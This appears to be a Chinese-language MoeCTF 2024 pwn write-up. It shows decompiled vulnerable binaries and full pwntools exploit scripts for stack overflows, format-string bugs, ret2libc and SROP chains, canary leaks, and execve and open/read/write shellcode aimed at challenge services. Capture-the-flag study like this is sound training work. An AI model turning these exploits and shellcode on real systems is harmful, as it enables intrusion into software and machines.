比赛方提供的工具开放的端口并不对外,需要用frp做个端口转发再用虚拟机的pwntools链接
frps.ini
[common]
bind_port = 7000
frpc.ini
[common]
server_addr = 127.0.0.1
server_port = 7000
type = tcp
local_ip=127.0.0.1
local_port = 7818 #目标端口
custom_domains = 127.0.0.1
remote_port = 1212 #本地映射
nc链接直接出
nc 192.168.248.1 1212
Hey, how did you get here?
I've been waiting so long, for anyone...
To honor your courage, I decided to give you a flag.
But next time, it won't be so easy.
moectf{Welcome_to_the_journey_of_Pwn}
Good luck.
By the way, netcat is not a cat!
# coding=utf-8
from pwn import *
r = remote('192.168.248.1',1212)
# 选玩游戏,别的选项都是耍你
print(r.recvuntil(">"))
r.sendline("4")
# 读flag
print(r.recvuntil(">"))
r.sendline("/flag")
# 读属性是4
print(r.recvuntil(">"))
r.sendline("4")
# 不知道为啥777不行,疑似是啥玩意的保护
print(r.recvuntil(">"))
r.sendline("766")
# 开一块空间
print(r.recvuntil(">"))
r.sendline("7777")
# 除了flag还读了4个没有用的东西,0是i流 1是o流 2是e流 3是第一个 4是第二个 5是flag 6是剩下那个没有用的
print(r.recvuntil(">"))
r.sendline("5")
r.interactive()
前面两个是固定的,后边截取=
之前的,把中间的\n
去掉,eval完还回去。
# coding=utf-8
from pwn import *
r = remote('192.168.248.1',1212)
elf = ELF('./format')
r.recvuntil("=")
r.sendline('2')
r.recvuntil("=")
r.sendline('0')
r.recvuntil("\n")
for i in range(20):
s = "".join(r.recvuntil("=",drop=True).split("\n"))
print(s)
calcs = eval(s)
print(calcs)
r.sendline(str(calcs))
r.interactive()
main()函数的gets()函数存在暴力栈溢出,直接暴力栈溢出跳到后门处
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[80]; // [rsp+0h] [rbp-A0h] BYREF
char s2[80]; // [rsp+50h] [rbp-50h] BYREF
init(argc, argv, envp);
arc4random_buf(s1, 80LL);
write(1, "This is my own shell, enter the password or get out.\n", 0x36uLL);
gets(s2);
if ( !strncmp(s1, s2, 0x50uLL) )
my_shell();
else
write(1, "Password wrong!\n", 0x11uLL);
return 0;
}
exp
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./lockedshell')
#gdb.attach(r,"b * 0x8049F9C")
gdb.attach(r,"b * 0x40129E")
else:
r = remote('192.168.248.1',1212)
elf = ELF('./lockedshell')
r.recvuntil("out.")
r.sendline('2'*80+p64(0xdeadbeef)+p64(0x401193))
r.interactive()
func()函数存在格式化字符串漏洞。
unsigned __int64 func()
{
unsigned int v0; // eax
__int64 v2; // [rsp+0h] [rbp-40h] BYREF
__int64 v3; // [rsp+8h] [rbp-38h]
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
v0 = time(0LL);
srand(v0);
v3 = rand();
puts("Welcome to MoeCTF 2024");
puts("What's your name?");
read(0, buf, 0x20uLL);
puts("Your name:");
printf(buf); //漏洞在这
puts("Give me the number");
__isoc99_scanf("%ld", &v2);
if ( v3 == v2 )
backdoor();
else
puts("Nice try");
return v5 - __readfsqword(0x28u);
}
根据栈内计算,第7个参数为v3(从0-5依次为寄存器,第6个参数为v2,第7个为v3)。直接nc连接,输入%7$d,将获得的数字发送回去,得到权限。
nc 192.168.248.1 1212
Welcome to MoeCTF 2024
What's your name?
%7$d
Your name:
1860032473
Give me the number
1860032473
Congratulations!
cat flag
moectf{Y0U_4re-lUky_Or-Cl3veR267bdad4e}
题目除pie保护全关。
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
func()函数存在暴力栈溢出,且提供栈地址。
ssize_t func()
{
unsigned int nbytes; // [rsp+Ch] [rbp-64h] BYREF
_BYTE nbytes_4[96]; // [rsp+10h] [rbp-60h] BYREF
nbytes = 0;
puts("Wellcome to MoeCTF2024!");
puts("Tell me your age:");
__isoc99_scanf("%d", &nbytes);
puts("Here is a gift for you :");
printf("%p\n", nbytes_4); //地址
puts("What do you want to say?");
return read(0, nbytes_4, nbytes); //暴力栈溢出
}
在栈内写入shellcode并暴力栈溢出控制rip跳转回栈内getshell。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./ez_shellcode')
gdb.attach(r,"b * $rebase(0x12CD)")
else:
r = remote('192.168.248.1',1212)
elf = ELF('./ez_shellcode')
r.recvuntil("age:")
r.sendline("99999999")
r.recvuntil("you :\n")
stack = int(r.recv(14),16)
log.success("stack:"+hex(stack))
shellcode = asm("mov eax,0x3b;mov r11,0x0068732F6E69622F;push r11;mov rdi,rsp;xor rsi,rsi;xor rdx,rdx;syscall")
r.send(shellcode+'a'*(96-len(shellcode))+p64(0xdeadbeef)+p64(stack))
r.interactive()
题目开启了PIE保护,但是提供了puts()
函数的地址,通过这个地址可以计算出libc的基址,并利用libc内部的pop链getshell。
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+Fh] [rbp-1h] BYREF
init(argc, argv, envp);
printf("PIE enabled, but no worry.\nI give you an address in libc: %p.\nAnd now it's your show time.\n> ", &puts);
read(0, &buf, 0x100uLL);
return 0;
}
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./prelibc')
gdb.attach(r,"b * $rebase(0x1201)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
libc = ELF('./libc.so.6')
elf = ELF('./prelibc')
r.recvuntil("libc: ")
puts_addr = int(r.recv(14),16)
log.success("puts_addr:"+hex(puts_addr))
libc_addr = puts_addr - libc.symbols['puts']
log.success("libc_addr:"+hex(libc_addr))
pop_rdi = libc_addr + 0x2a3e5
binsh = libc_addr + libc.search("/bin/sh").next()
system = libc_addr + libc.symbols['system']
ret = libc_addr + 0x29139
one_gadget = libc_addr + 0x10d9ca
r.sendline("\x00"+p64(0xdeadbeef)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system))
r.interactive()
题目影响ida分析,根据汇编分析是输入一串东西,直接跳转执行,试试直接编译一段shellcode执行。
buf= byte ptr -110h
var_8= qword ptr -8
; __unwind {
push rbp
mov rbp, rsp
sub rsp, 110h
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
mov eax, 0
call init
lea rax, format ; "Give me your code, and I will execute i"...
mov rdi, rax ; format
mov eax, 0
call _printf
lea rax, [rbp+buf]
mov edx, 100h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
lea rdx, [rbp+buf]
mov eax, 0
call rdx
mov edi, 0 ; status
call _exit
; } // starts at 11C6
main endp
_text ends
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./preshellcode')
gdb.attach(r,"b * $rebase(0x1217)")
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
#libc = ELF('./libc-2.31.so')
elf = ELF('./preshellcode')
sc = asm("mov rax,0x3b;mov r11,0x0068732F6E69622F;push r11;mov rdi,rsp;xor rsi,rsi;xor rdx,rdx;syscall")
r.send(sc)
r.interactive()
根据反编译出的代码,分析出随机数的种子为今天的日期,也就是说每天的随机数是固定的。
int __fastcall main(int argc, const char **argv, const char **envp)
{
struct tm *v3; // rax
time_t timer; // [rsp+8h] [rbp-28h] BYREF
char *lineptr; // [rsp+10h] [rbp-20h] BYREF
size_t n; // [rsp+18h] [rbp-18h] BYREF
FILE *stream; // [rsp+20h] [rbp-10h]
unsigned __int64 v10; // [rsp+28h] [rbp-8h]
v10 = __readfsqword(0x28u);
timer = time(0LL);
v3 = localtime(&timer);
srandom(v3->tm_yday);
puts("Let's play a number guessing game.");
while ( tests-- )
{
secret = random() % 90000 + 10000;
printf("Guess a five-digit number I'm thinking of\n> ");
fflush(stdout);
__isoc99_scanf("%u", &guess);
if ( guess != secret )
{
puts("Wrong.");
exit(1);
}
puts("Wow, you are right!");
}
random_file = fopen("/dev/random", "rb");
fread(&secret, 4uLL, 1uLL, random_file);
fclose(random_file);
secret = secret % 0x15F90u + 10000;
printf("Guess a five-digit number I'm thinking of\n> ");
fflush(stdout);
__isoc99_scanf("%u", &guess);
if ( guess == secret )
puts("Wow, you are right!");
else
puts("Wrong.");
secret = (unsigned int)arc4random() % 0x15F90 + 10000;
printf("Guess a five-digit number I'm thinking of\n> ");
fflush(stdout);
__isoc99_scanf("%u", &guess);
if ( guess == secret )
puts("Wow, you are right!");
else
puts("Wrong.");
puts("You only got two of them wrong, flag still for you.");
stream = fopen("flag", "r");
lineptr = 0LL;
n = 0LL;
getline(&lineptr, &n, stream);
puts(lineptr);
return 0;
}
通过gdb将随机数提取出来,发送回去拿到flag。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./prerandom')
gdb.attach(r,"b * $rebase(0x149a)")
else:
r = remote('192.168.248.1',1212)
elf = ELF('./prerandom')
def guess(num):
r.recvuntil("> ")
r.sendline(str(num))
guess(0x45cb)
guess(0x8d44)
guess(0x10ccd)
guess(0x43d8)
guess(0x15a08)
guess(0xae15)
guess(0x16213)
guess(0x13e7d)
guess(0x4757)
guess(0x18371)
guess(0x148ce)
guess(0x148ce)
r.interactive()
main()函数将got表覆盖了
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
printf("This is MoeCTF %u Pwn Basics.\n", 2024LL);
write(1, "This is `write`.\n", 0x11uLL);
puts("This is `puts`.");
read(0, &off_404000, 0x40uLL);
exit(0);
}
最开始看system()函数的got表也同样被覆盖,以为无解,后仔细看了一下正常的got表,发现结构如下。
0x404000 <puts@got.plt>: 0x000075226a080e61 0x000075226a114870
0x404010 <system@got.plt>: 0x0000000000401056 0x000075226a0606f0
0x404020 <alarm@got.plt>: 0x000075226a0ea540 0x000075226a1147d0
0x404030 <setvbuf@got.plt>: 0x000075226a0815f0 0x00000000004010a6
0x404040: 0x0000000000000000 0x0000000000000000
0x404050: 0x0000000000000000 0x0000000000000000
0x404060 <stdout@GLIBC_2.2.5>: 0x000075226a21b780 0x0000000000000000
0x404070 <stdin@GLIBC_2.2.5>: 0x000075226a21aaa0 0x0000000000000000
0x404080 <stderr@GLIBC_2.2.5>: 0x000075226a21b6a0 0x0000000000000000
system()
的got表为本地的一个地址,跟进地址
0x401056 <system@plt+6>: push 0x2
0x40105b <system@plt+11>: jmp 0x401020
再次跟进
0x401020: push QWORD PTR [rip+0x2fca] # 0x403ff0
0x401026: jmp QWORD PTR [rip+0x2fcc] # 0x403ff8
这里进入dl_runtime_resolve_xsavec()
正常走调用system()
函数。exp如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 1
if local == 1:
r=process('./pregot')
gdb.attach(r,"b * 0x40128A")
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
#libc = ELF('./libc-2.31.so')
elf = ELF('./pregot')
#r.send('a')
r.send(cyclic(16)+p64(0x401056)+cyclic(0x38-24)+p64(elf.symbols['unreachable']))
r.interactive()
静态编译题目,func()存在多次溢出。
unsigned __int64 func()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
int v5; // [rsp+Ch] [rbp-24h] BYREF
char v6[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
puts("Wellcome to MoeCTF2024!");
puts("This time.....");
puts("NX is enabled!");
puts("Your id?");
read(0LL, v6, 25LL);
puts("Confirm your id:");
puts(v6);
puts("Your real name?");
read(0LL, &buf2, 256LL);
puts("Use your real name as id?");
puts("give me the size of your real name , 0 means quit");
fflush(stdin);
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v5, v0, v1, v2, v3);
if ( v5 )
{
if ( v5 > 16 )
puts("Number out of range!");
else
j_memcpy(v6, &buf2, v5);
}
return v7 - __readfsqword(0x28u);
}
第一次溢出一个字节可泄露canary。第二次溢出需要控制溢出字符数量,0xffff0001
刚刚好,懵逼不伤脑。
exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./NX_on')
gdb.attach(r,"b * 0x401C77")
else:
r = remote('192.168.248.1',1212)
elf = ELF('./NX_on')
binsh = 0x4E3950
rax = 0x4508b7
rdi = 0x40239f
rsi = 0x40a40e
rdxrbx = 0x49d12b
syscall = 0x402154
r.send('a'*24+'b')
r.recvuntil("aaab")
canary = u64('\x00'+r.recv(7))
stack = u64(r.recv(6)+'\x00\x00')
log.success("pie:"+hex(pie))
log.success("stack:"+hex(stack))
r.send(cyclic(24)+p64(canary)+p64(0xdeadbeef)+p64(rax)+p64(0x3b)+p64(rdi)+p64(binsh)+p64(rsi)+p64(0)+p64(rdxrbx)+p64(0)+p64(0)+p64(syscall))
r.recvuntil('quit')
r.sendline(str(0xffff0001))
r.interactive()
32位题目,vuln()
函数存在栈溢出。
int vuln()
{
char v1[36]; // [esp+0h] [ebp-28h] BYREF
puts("Welcome to MoeCTF backdoor.");
printf("Enter the password: ");
getchar();
__isoc99_scanf("%[^\n]s", v1);
if ( getuid() )
return puts("Permission denied.");
puts("Password correct!");
return backdoor();
}
利用已有的参数调用execve()
getshell。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'i386'
local = 0
if local == 1:
r=process('./backdoor')
gdb.attach(r,"b * 0x080492e5")
else:
r = remote('192.168.248.1',1212)
elf = ELF('./backdoor')
#r.send('a')
r.sendline(cyclic(45)+p32(0x8049212)+p32(elf.search('/bin/sh').next())+p32(0)+p32(0))
r.interactive()
题目给出了一个结构体
struct airplane {
/*It's a */ long flight;
int altitude;
int velocity;
int angle;
unsigned char engine_thrust[ENGINES];
}
moeplane;
分别是8字节的航程,4字节的高度,4字节的速度,4字节的角度,1字节的引擎(题目里为4个),题目要求将飞机的航程弄到69259509840
对应16进制为0x1020304050
题目改引擎数处存在数组越界。
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./lockedshell')
#gdb.attach(r,"b * 0x8049F9C")
gdb.attach(r,"b * 0x40129E")
else:
r = remote('192.168.248.1',1212)
def p(num1,num2):
r.recvuntil("choice:")
r.sendline('1')
r.recvuntil("engine?")
r.sendline(str(num1))
r.recvuntil("percentage")
r.sendline(str(num2))
# 分别修改数值到对应位置,最后一个少点避免飞过头
p(-15,0x10)
p(-16,0x20)
p(-17,0x30)
p(-18,0x18)
# 给飞机提个速
p(-4,0x18)
r.interactive()
login()函数存在格式化字符串漏洞和后门,触发条件为第二次输入与&password
匹配。
unsigned __int64 login()
{
char s2[8]; // [rsp+8h] [rbp-58h] BYREF
char buf[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("*** LOGIN SYSTEM ***");
printf("username: ");
read(0, buf, 0x40uLL);
putchar(10);
printf("Welcome, ");
printf(buf);
puts("! Please input your password: ");
read(0, s2, 8uLL);
puts("Checking...");
sleep(1u);
if ( memcmp(&password, s2, 8uLL) )
{
puts("Incorrect password!");
exit(1);
}
puts("Login success!");
system("/bin/sh");
return v3 - __readfsqword(0x28u);
}
&password
为随机内容
int init()
{
int fd; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
fd = open("/dev/urandom", 0, 0LL);
if ( fd < 0 )
{
puts("urandom");
exit(1);
}
read(fd, &password, 8uLL);
return close(fd);
}
通过计算格式化字符串漏洞参数为第8位,构造格式化字符串漏洞直接抹除掉随机数触发后门。
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./loginsystem')
gdb.attach(r,"b * 0x4013C2")
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
#libc = ELF('./libc-2.31.so')
elf = ELF('./loginsystem')
r.recvuntil("username: ")
r.send("abcd%10$lnbaaaaa"+p64(0x404050))
r.recvuntil("Welcome, abcd")
r.send(p64(4)+"\x00"*8)
r.interactive()
题目分为三个部分,第一部分为爆破0x2345
以内的随机数。
v12 = __readfsqword(0x28u);
v3 = arc4random(argc, argv, envp);
v4 = v3 - 0xFEFFFFFFFFFFFFLL * ((__int64)((0x4040404040404081LL * (unsigned __int128)v3) >> 64) >> 54);
v9[0] = v4 + 0x1000000000000LL;
v9[1] = 0x7FFFFFFDDAB0LL;
v10 = 182271573LL;
v8 = (unsigned int)arc4random(argc, 0LL, v4) % 0x2345 + 16768186;
init();
write(1, "Here, my canary, with a cage.\n", 0x1EuLL);
write(1, "[Info] Password required.\n", 0x1AuLL);
while ( (unsigned int)__isoc99_scanf("%u", &v6) == -1 || v8 != v6 )
write(1, "[Error] Wrong! Try again.\n", 0x1AuLL);
对应脚本
r.recvuntil('required.')
for i in range(0x2345):
r.sendline(str(0xffdcba+i))
s = r.recv()
if "Info" in s:
cana = i
print(hex(i))
print(s)
break
第二部分为利用scanf()
函数不破坏第一个数的情况下破坏第三个数,scanf("%u")
在接收加减运算符的情况下会写入失败并不破坏原有数据。
cage_bak = v9[0];
for ( i = 0; i <= 2; ++i )
{
__isoc99_scanf("%zu", &v9[i]);
if ( !v9[i] )
break;
}
if ( v10 != 195874819 )
{
write(1, "[FATAL] Canary under attack. Shutting down...\n", 0x2EuLL);
_exit(1);
}
if ( v9[0] != cage_bak )
{
write(1, "[FATAL] Hacker!\n", 0x10uLL);
_exit(1);
}
对应脚本
r.sendline("-")
r.sendline('1')
r.sendline(str(0xbacd003))
第三部分为破坏canary并泄露,二次溢出修复canary并跳转到后门函数上。
write(1, "What?! How did you do that?\n", 0x1CuLL);
write(1, "Stop it!\n", 9uLL);
read(0, buf, 0x30uLL);
puts(buf);
read(0, buf, 0x30uLL);
对应脚本
r.send("a"*0x18+"b")
r.recvuntil("aaab")
canary = u64("\x00"+r.recv(7))
log.success("canary:"+hex(canary))
r.send("a"*0x18+p64(canary)+p64(0xdeadbeef)+p64(0x4012B0))
最终exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import tty
context.arch = 'amd64'
local = 1
if local == 1:
r=process('./mycanary')
gdb.attach(r,"b * 0x04014F5")
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
#libc = ELF('./libc-2.31.so')
elf = ELF('./mycanary')
r.recvuntil('required.')
for i in range(0x2345):
r.sendline(str(0xffdcba+i))
s = r.recv()
if "Info" in s:
cana = i
print(hex(i))
print(s)
break
r.sendline("-")
r.sendline('1')
r.sendline(str(0xbacd003))
r.recvuntil("it!\n")
r.send("a"*0x18+"b")
r.recvuntil("aaab")
canary = u64("\x00"+r.recv(7))
log.success("canary:"+hex(canary))
r.send("a"*0x18+p64(canary)+p64(0xdeadbeef)+p64(0x4012B0))
r.interactive()
题目有shellcode可执行区域,执行条件为level位有东西,shellcode长度为0xd。
unsigned __int64 operate()
{
unsigned __int64 v1; // [rsp+118h] [rbp-8h]
v1 = __readfsqword(0x28u);
if ( level )
{
mmap((void *)0x20240000, 0x1000uLL, 7, 50, -1, 0LL);
puts("Good luck.");
read(0, (void *)0x20240000, 0xDuLL);
MEMORY[0x20240000]();
puts("Succeed.");
}
else
{
puts("Sorry, you don't have enough permissions.");
}
return v1 - __readfsqword(0x28u);
}
程序usr_log()
存在数组越界。
unsigned __int64 usr_log()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Your id?");
__isoc99_scanf("%d", &v1);
puts("Your name ?");
read(0, buf, 4uLL);
if ( !strncmp(buf, &name[4 * v1], 4uLL) )
printf("Welcome, %4s", &name[4 * v1]);
else
puts("Check your user name and id.");
return v3 - __readfsqword(0x28u);
}
程序禁用了execve()
__int64 setup_seccomp()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
return seccomp_load(v1);
}
exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import tty
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./shellcode_revenge')
gdb.attach(r,"b * $rebase(0x0177E)")
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
#libc = ELF('./libc-2.31.so')
elf = ELF('./shellcode_revenge')
sleep(1)
r.recvuntil(">>>")
r.sendline("3")
r.recvuntil("255")
r.sendline("-8")
r.recvuntil("name ?")
r.sendline("aaaa")
r.recvuntil(">>>")
r.sendline("4")
r.recvuntil("luck.")
shellcode = asm("syscall;")+"\x90"*0xb
r.send(shellcode)
sleep(1)
shellcode = asm("nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;xor rax,rax;xor r10,r10;push r10;mov r10,0x67616C66;push r10;mov r11,rsp;")
shellcode += asm("sub rsp,0x100;mov rax,2;mov rdi,r11;xor rsi,rsi;mov rdx,rsi;syscall;")
shellcode += asm("mov rdi,rax;mov rsi,rsp;mov rdx,0x80;xor rax,rax;syscall;")
shellcode += asm("mov rdi,1;mov rax,rdi;syscall")
r.sendline(shellcode)
r.interactive()
题目有两个关卡,关卡一
unsigned __int64 voice_pwd()
{
char s2[16]; // [rsp+0h] [rbp-30h] BYREF
char v2[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
write(1, "[Error] Voice password not initialized!\n", 0x28uLL);
write(1, "[Warn] Using auto generated password.\n", 0x26uLL);
write(1, "[Info] Speak out the voice password.\n", 0x25uLL);
s2[15] = 0;
len = read(0, v2, 23uLL);
if ( len <= 0 )
{
write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
_exit(1);
}
v2[len] = 0;
if ( strcmp(v2, s2) )
{
write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
_exit(1);
}
write(1, "[Info] Voice password correct.\n", 0x1FuLL);
return v3 - __readfsqword(0x28u);
}
该题的密码为上一个函数在栈内残存的数据,为上一个函数输出的最后一条beep的第29位开始往后数15个。
for i in range(3):
tmp = r.recvuntil("\n")
if "Error" in tmp:
break
beep = tmp
log.info("getbeep:"+beep)
beep1 = beep[28:28+15]
log.info("beep1:"+beep1)
r.send(beep1+'\x00\x67\x2b\x00\x00\x00\x00') #清空栈内其他乱七八糟的内存,为下一题做准备
关卡二
unsigned __int64 num_pwd()
{
__int64 v1[2]; // [rsp+8h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
write(1, "[Error] Numeric password not initialized!\n", 0x2AuLL);
write(1, "[Warn] Using auto generated password.\n", 0x26uLL);
write(1, "[Info] Input the numeric password.\n", 0x23uLL);
__isoc99_scanf("%zu", v1);
if ( v1[0] > 0x1869FuLL || v1[0] <= 0x270FuLL || v1[1] != v1[0] )
{
write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
_exit(1);
}
write(1, "[Info] Numeric password correct.\n", 0x21uLL);
return v2 - __readfsqword(0x28u);
}
对应脚本。
r.recvuntil("numeric password.")
r.sendline(str(0x2b67))
最终exp为
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./alarm')
gdb.attach(r,"b * $rebase(0x01722)")
else:
r = remote('192.168.248.1',1212)
elf = ELF('./alarm')
for i in range(3):
tmp = r.recvuntil("\n")
if "Error" in tmp:
break
beep = tmp
log.info("getbeep:"+beep)
beep1 = beep[28:28+15]
log.info("beep1:"+beep1)
r.send(beep1+'\x00\x67\x2b\x00\x00\x00\x00')
r.recvuntil("numeric password.")
r.sendline(str(0x2b67))
r.interactive()
srop,main()
函数暴力栈溢出,直接利用what()
函数的return 15
构造srop。
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
sysread(0LL, v4, 512LL);
return 0;
}
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./return15')
gdb.attach(r,"b * 0x401149")
else:
r = remote('192.168.248.1',1212)
elf = ELF('./return15')
frameExecve = SigreturnFrame()
frameExecve.rax = 0x3b
frameExecve.rdi = 0x402008
frameExecve.rip = 0x40111C
r.sendline(cyclic(32)+p64(0xdeadbeef)+p64(elf.symbols['what'])+p64(0x40111C)+str(frameExecve))
r.interactive()
题目禁用了execve,且shellcode为可视化字符。
unsigned __int64 pwn()
{
int i; // [rsp+0h] [rbp-220h]
int v2; // [rsp+4h] [rbp-21Ch]
char buf[520]; // [rsp+10h] [rbp-210h] BYREF
unsigned __int64 v4; // [rsp+218h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = read(0, buf, 0x200uLL);
for ( i = 0; i < v2; ++i )
{
if ( buf[i] <= 31 || buf[i] == 127 )
{
puts("What are you doing?");
exit(1);
}
}
strncpy((char *)0x20240000, buf, 0x200uLL);
MEMORY[0x20240000]();
return v4 - __readfsqword(0x28u);
}
先构造ascii shellcode构造sys_read。
shellcode = "\x52" #push rdx
shellcode += "\x5E" #pop rsi
shellcode += "\x68\x6f\x65\x60\x60" #push 656f6f65
shellcode += "\x41\x5c" #pop r12
shellcode += "\x50" #push rax
shellcode += "\x5f" #pop rdi
shellcode += "\x6a\x60" #push 60
shellcode += "\x41\x5a" #pop r10
shellcode += "\x68\x70\x30\x24\x20" #push 20243070
shellcode += "\x58" #pop rax
shellcode += "\x66\x2d\x50\x30" #sub ax 3040
shellcode += "\x50" #push rax
shellcode += "\x5A" #pop rdx
shellcode += "\x4c\x31\x22" #xor [rdx],r12
shellcode += "\x57" #push rdi
shellcode += "\x58" #pop rax
shellcode += "\x60\x60\x60\x60" #被异或掉构造syscall
再构造orw获取flag,exp如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./VisibleInput')
#gdb.attach(r,"b * 0x20240024")
gdb.attach(r,"b * $rebase(0x1361)")
else:
r = remote('192.168.248.1',1212)
elf = ELF('./VisibleInput')
sleep(1)
shellcode = "\x52" #push rdx
shellcode += "\x5E" #pop rsi
shellcode += "\x68\x6f\x65\x60\x60" #push 656f6f65
shellcode += "\x41\x5c" #pop r12
shellcode += "\x50" #push rax
shellcode += "\x5f" #pop rdi
shellcode += "\x6a\x60" #push 60
shellcode += "\x41\x5a" #pop r10
shellcode += "\x68\x70\x30\x24\x20" #push 20243070
shellcode += "\x58" #pop rax
shellcode += "\x66\x2d\x50\x30" #sub ax 3040
shellcode += "\x50" #push rax
shellcode += "\x5A" #pop rdx
shellcode += "\x4c\x31\x22" #xor [rdx],r12
shellcode += "\x57" #push rdi
shellcode += "\x58" #pop rax
shellcode += "\x60\x60\x60\x60"
r.send(shellcode)
sleep(5)
shellcode = asm("nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;xor rax,rax;xor r10,r10;push r10;mov r10,0x67616C66;push r10;mov r11,rsp;")
shellcode += asm("sub rsp,0x100;mov rax,2;mov rdi,r11;xor rsi,rsi;mov rdx,rsi;syscall;")
shellcode += asm("mov rdi,rax;mov rsi,rsp;mov rdx,0x80;xor rax,rax;syscall;")
shellcode += asm("mov rdi,1;mov rax,rdi;syscall")
r.sendline(shellcode)
r.interactive()
题目有两次溢出,第一次溢出覆盖第二次的输入数量,第二次溢出泄漏libc地址,题目没有pop rdi;ret;
,结束时rdi为funlockfile
指针直接puts出来泄漏基址。
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-40h] BYREF
size_t nbytes; // [rsp+10h] [rbp-30h]
char v6[36]; // [rsp+18h] [rbp-28h] BYREF
int v7; // [rsp+3Ch] [rbp-4h]
init(argc, argv, envp);
nbytes = 31LL;
printf("What's your name?\n> ");
v7 = read(0, buf, 0x17uLL);
if ( v7 <= 0 )
{
puts("Can you hear me?");
_exit(1);
}
buf[v7 - 1] = 0;
printf("Hello %s, nice to meet you. Where do you come from?\n> ", buf);
v7 = read(0, v6, nbytes);
if ( v7 <= 0 )
{
puts("Can you hear me?");
_exit(1);
}
v6[v7 - 1] = 0;
printf("%s... That's a beautiful place.\n", v6);
return 0;
}
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./dialogue')
gdb.attach(r,"b * 0x04012de")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
libc = ELF('./libc.so.6')
elf = ELF('./dialogue')
r.sendline('a'*18)
r.recvuntil("from?")
r.sendline(cyclic(40)+p64(0xdeadbeef)+p64(0x401040)+p64(0x4011e1))
r.recvuntil(" place.\n")
funlockfile = u64(r.recv(6)+"\x00\x00")
log.success("funlockfile:"+hex(funlockfile))
libc_addr = funlockfile -libc.symbols['funlockfile']
log.success("libc_addr:"+hex(libc_addr))
r.sendline('a'*18)
r.recvuntil("from?")
r.sendline(cyclic(40)+p64(0)+p64(0x40101a)+p64(libc_addr+0x2a3e5)+p64(libc_addr+libc.search("/bin/sh").next())+p64(libc_addr+libc.symbols["system"]))
r.interactive()
